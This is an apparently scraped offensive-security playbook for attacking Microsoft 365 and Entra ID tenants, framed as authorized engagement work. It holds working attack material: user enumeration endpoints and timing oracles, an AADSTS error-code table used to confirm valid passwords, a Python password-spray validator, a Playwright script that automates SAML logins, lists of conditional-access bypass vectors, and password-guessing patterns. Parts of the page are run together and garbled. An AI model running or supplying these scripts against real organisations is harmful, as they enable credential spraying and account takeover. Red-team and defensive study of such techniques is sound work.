buggy HunterMicrosoft 365 and Entra ID attack surface — OAuth app consent phishing, token exfiltration via device flow, PRT abuse, and conditional access bypass.
Trigger when:
*.onmicrosoft.com, *-my.sharepoint.com, enterpriseregistration.*, enterpriseenrollment.* in recon# For each owned domain
msftrecon -d client.example
msftrecon -d clientltd.example
msftrecon -d sister-brand-school.exampleKey fields in output:
Managed (cloud-only, ROPC works) | Federated (ADFS, different attack)| AADSTS | Meaning | Lockout impact | What to do |
|---|---|---|---|
| 50034 | User does not exist | None | Skip; remove from spray list |
| 50126 | Invalid username/password | +1 attempt counter | User exists — try alternate password later (within cap) |
| 50053 | Account locked (Smart Lockout) | None (already locked) | Pre-existing → flag to SOC; don't retry |
| 53003 | CA blocked token issuance | +1 attempt counter | PASSWORD VALID — STOP, password is correct |
| 50076 | MFA required | +1 attempt counter | PASSWORD VALID — second factor needed |
| 50079 | Strong auth required | +1 attempt counter | PASSWORD VALID — same as 50076 |
| 50158 | External auth required | +1 attempt counter | PASSWORD VALID — federated MFA |
| 530003 | Device-state required | +1 attempt counter | PASSWORD VALID — needs compliant device |
| 65001 | Consent required | +1 attempt counter | App-consent issue, not auth |
| 700016 | App not in tenant | None | User in different tenant — adjust target |
| 90002 | Tenant does not exist | None | Tenant typo / dead tenant |
Microsoft default policy:
mid-engagement-ir-detection skill).
GET /getuserrealm.srf?login=<email>&xml=1POST /common/GetCredentialType
{"username":"<email>", "isOtherIdpSupported":true, ...}AADSTS1659001 (missing flowToken) without proper session — can't enumerate.
GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1OneDrive personal-site differential:
GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1 Host: <tenant>-my.sharepoint.comSprequestduration header faster (~40ms) for existing users vs ~600ms for non-existent — secondary timing oracleSharePoint Detected: Yes)Killer use case: license differential = account-class signal. Cross-reference OneDrive 200/404 with ROPC AADSTS50034/50126:
| OneDrive | ROPC | Classification |
|---|---|---|
| 200 | AADSTS50076 (MFA req) or 50126 | Licensed regular user (real employee, MFA enforced) |
| 200 | AADSTS50034 | (shouldn't happen — inconsistency, investigate) |
| 404 | AADSTS50126 | Shared mailbox / functional / service account (no OneDrive license, has password) — historic MFA-exempt class, prime target for password guessing |
| 404 | AADSTS50034 | Doesn't exist in tenant |
| 404 | AADSTS50076 | Edge case (functional account WITH MFA enforced — rare) |
noreply@, purchase@, accounts@, postmaster@, transport@ as functional-account candidates (typical for any conglomerate tenant).
ROPC AADSTS50034 / AADSTS50126 differential:
| Vector | Status (2026) | Notes |
|---|---|---|
| Different ROPC client_id (Microsoft Graph PowerShell vs Azure CLI vs Office) | Sometimes works | CA can be per-app; try 1b730954-1685-4b74-9bfd-dac224a7b894 (Graph PS), 04b07795-8ddb-461a-bbee-02f9e1bf7b46 (Azure CLI), d3590ed6-52b3-4102-aeff-aad2292ab01c (Office) |
| Different resource (graph.microsoft.com / outlook.office.com / management.azure.com) | Sometimes works | CA scope can be per-resource |
| EWS / IMAP / POP3 / SMTP Basic Auth | Mostly disabled | MS deprecated Basic Auth Oct 2022; per-account exceptions exist |
| FOCI (Family of Client IDs) | Token-refresh path | Use a refresh token from one FOCI client to mint tokens for another |
| Device-code phishing | Works | Requires user-side interaction (OOS for many engagements) |
| Compliant-device emulation | Hard | Requires Intune device registration — high effort, often impossible without insider |
| AiTM session-cookie steal | Works (with phishing) | Modern primary technique — out of scope for non-phishing engagements |
| FOCI + Family Refresh Token Theft | Post-auth | Requires already having a token |
| SAML SSO via different SP | Sometimes | Each enterprise app has its own CA policy; an app with weaker CA = pivot |
| Geo-bypass via VPN | Sometimes | If "trusted location" CA policy includes corp HQ IPs, use a VPN exit there |
Single-attempt validator pattern (Python):
import urllib.request, urllib.parse, ssl, time, json, os
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ATTEMPT_FILE = "engagement_log/o365_attempts.json"
HARD_CAP = 1 # or 2 — never higher
def attempt(email, password): state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {} if state.get(email.lower(), 0) >= HARD_CAP: return {"status": "SKIPPED_CAP"} body = urllib.parse.urlencode({ "resource": "https://graph.windows.net", "client_id": "1b730954-1685-4b74-9bfd-dac224a7b894", # Microsoft Graph PowerShell "client_info": "1", "grant_type": "password", "username": email, "password": password, "scope": "openid", }).encode() state[email.lower()] = state.get(email.lower(), 0) + 1 json.dump(state, open(ATTEMPT_FILE+".tmp", "w")) os.replace(ATTEMPT_FILE+".tmp", ATTEMPT_FILE) # atomic req = urllib.request.Request( "https://login.microsoftonline.com/common/oauth2/token", data=body, method="POST", ) req.add_header("Content-Type", "application/x-www-form-urlencoded") try: r = urllib.request.urlopen(req, context=ctx, timeout=15) body = json.loads(r.read()) # PARSE AS JSON — see CRITICAL TRAP below about substring matching if "access_token" in body: # ← JSON key check, NOT substring return {"status": "VALID", "body": body} return {"status": "STATUS_200_NO_TOKEN", "body": body} except urllib.error.HTTPError as e: msg = e.read().decode(errors="ignore") for code, status in [ ("AADSTS50034", "INVALID_USER"), ("AADSTS50126", "INVALID_PW"), ("AADSTS50053", "LOCKED"), ("AADSTS53003", "VALID_CA_BLOCK"), ("AADSTS50076", "VALID_MFA"), ("AADSTS50079", "VALID_MFA"), ]: if code in msg: return {"status": status, "code": code} return {"status": "OTHER", "msg": msg[:200]}
"access_token" substringWhen CA policy requires MFA and ROPC cannot satisfy it, Entra returns an error body that INCLUDES a claims field listing CA policy IDs as a step-up challenge:
{
"error": "invalid_grant",
"error_description": "AADSTS50076: ...you must use multi-factor authentication...",
"error_codes": [50076],
"suberror": "basic_action",
"claims": "{\"access_token\":{\"capolids\":{\"essential\":true,\"values\":[\"<policy-id-1>\",\"<policy-id-2>\"]}}}"
}The "access_token" substring appears inside the CA claims challenge JSON. A loose substring check if "access_token" in raw_body: will false-positive every MFA-blocked attempt as a successful token issuance.
Always parse JSON, then check if "access_token" in parsed_dict: — never substring-match on OAuth error bodies. This was discovered in the 2026-05-17 authorized-engagement revalidation where a substring check produced 7 false-positive "CA bypasses" on Sway/Yammer/Bookings/Tunnel client_ids that were actually all enforcing MFA correctly.
The claims.access_token.capolids values are tenant-internal Conditional Access policy IDs — useful recon enrichment, but NOT a token. Document them in engagement notes as "CA policy IDs that fired" — they're a defender-side breadcrumb, not an attacker-side win.
Pace:
When ROPC returns AADSTS53003, you've proven the password. To prove it across BOTH auth paths (and capture Microsoft's CA-block page as evidence), walk SAML SSO via Playwright:
import asyncio
from playwright.async_api import async_playwright
async def saml_validate(target_sp_url, username, password, screenshot_dir): async with async_playwright() as p: browser = await p.chromium.launch(headless=True, args=["--ignore-certificate-errors"]) context = await browser.new_context(ignore_https_errors=True) page = await context.new_page() # Step 1: navigate to SP await page.goto(target_sp_url, wait_until="networkidle", timeout=30000) # Step 2: click sign-in (selectors vary per SP) for sel in ["button:has-text('Sign in')", "a:has-text('Login')", "button:has-text('Azure')"]: try: await page.locator(sel).first.click(timeout=3000) break except: continue await page.wait_for_load_state("networkidle", timeout=20000) # Step 3: submit username at Microsoft await page.locator('input[name="loginfmt"], input[type="email"]').first.fill(username) await page.locator('input[type="submit"], #idSIButton9').first.click() await page.wait_for_load_state("networkidle", timeout=20000) # Step 4: submit password await page.locator('input[name="passwd"], input[type="password"]').first.fill(password) await page.locator('input[type="submit"], #idSIButton9').first.click() await page.wait_for_load_state("networkidle", timeout=30000) # Step 5: capture await page.screenshot(path=f"{screenshot_dir}/saml_final.png", full_page=True) content = await page.content() cookies = await context.cookies() await browser.close() # Check outcome low = content.lower() if "convergedconditionalaccess" in low or "53003" in low: return "CA_BLOCKED" # cred valid, CA wall elif "verify your identity" in low or "approve sign in" in low: return "MFA_REQUIRED" # cred valid, MFA wall elif "we couldn't sign you in" in low or "wrong" in low: return "INVALID" elif "<post-auth-landing-marker>" in low or "dashboard" in low: return "FULL_SUCCESS" # session obtained (replace marker per target app) return "UNCLEAR"
Microsoft's ConvergedConditionalAccess page (PageID in source) is the definitive evidence of CA-block.
If you see AADSTS50053 (LOCKED) on multiple users despite your 1-attempt-per-user cap:
<BrandName>@<Year> — <Brand>@2026, Tata@2026<BrandName>@123 — <Brand>@123 (very common)<PlantCity>@<Year> — <City1>@2026, <City2>@2026 (production plant cities)<EmployeeID-as-password> — common in legacy apps (PAN number, employee code, phone last4)Password@<year>, Welcome@<year>, Admin@<year> — generic defaults<BrandName>@<Y2-digits> — <Brand>@26Every M365 attempt logs to JSONL:
{"ts":"2026-05-08T14:40:53","email":"user1@<client>.example","pw_first4":"<r4>","status":"VALID_CA_BLOCK","code":"AADSTS53003","attempts_used":1}Per-user tracker (atomic):
{"user1@<client>.example": 1, "user2@<client>.example": 1, ...}IP rotation log (per-day):
2026-05-08 <src-ip> <ISP-AS> <operator-handle> Round 2 sprayThese three artifacts are deliverable evidence for the report. They survive into the next engagement as state.
For the report:
Finding: 261 Entra accounts in pre-existing lockout state
o365_results.jsonl filtered to status=LOCKED<user>:<password> (CA-blocked) ConvergedConditionalAccess page screenshotpip install --break-system-packages msftrecon o365spray # may need to clone msftrecon from GitHub
brew install pandoc # for report generation
go install -v github.com/projectdiscovery/... # PD toolkit for general reconPre-built m365_validator.py template at engagement working directory engagement_log/m365_validator.py. Adapt the attempt() function to your engagement.
hunt-mfa-bypass — AADSTS50053 (lockout) vs AADSTS50126 (bad password) vs AADSTS50076 (MFA required) is a free factor-presence oracle. Chain primitive: M365 AADSTS50053 lockout differential observed → user has MFA but no CA enforcement on legacy auth → hunt-mfa-bypass factor-probe (SMS fallback, voice fallback, OAuth device-code flow, ROPC against legacy endpoint) → Conditional Access bypass via legacy-protocol path.hunt-ntlm-info — On-prem NTLM topology leak feeds the Entra spray. Chain primitive: SharePoint/Exchange/IIS anon NTLM Type-2 → AV_PAIR decode yields corp.example.com → m365-entra-attack resolves Entra tenant via openid-configuration → ROPC spray with realistic UPN format.okta-attack — Hybrid orgs run Okta-as-IdP federated into Entra. Chain primitive: M365 getuserrealm returns NameSpaceType: Federated with AuthURL pointing to *.okta.com → pivot to okta-attack for tenant enumeration → Okta ATO → SAML assertion to Entra → full M365 access.hunt-saml — Federated tenants accept signed SAML assertions; XSW or signature-stripping on the federated IdP bypasses Entra's controls entirely. Chain primitive: getuserrealm reveals federation → IdP fingerprinted (ADFS / Okta / PingFederate) → hunt-saml XSW1-XSW8 against IdP's /adfs/ls/ or equivalent → forged assertion → Entra grants access.redteam-report-template — M365 findings need clear tenant/user/CA-policy framing because the blast radius is "every Microsoft service the org uses." Chain primitive: validated finding from this skill → run through triage-validation 7-Question Gate → package via redteam-report-template with explicit blast-radius (which apps, which users, which data) for client deliverable.Questions about M365/Entra Attack?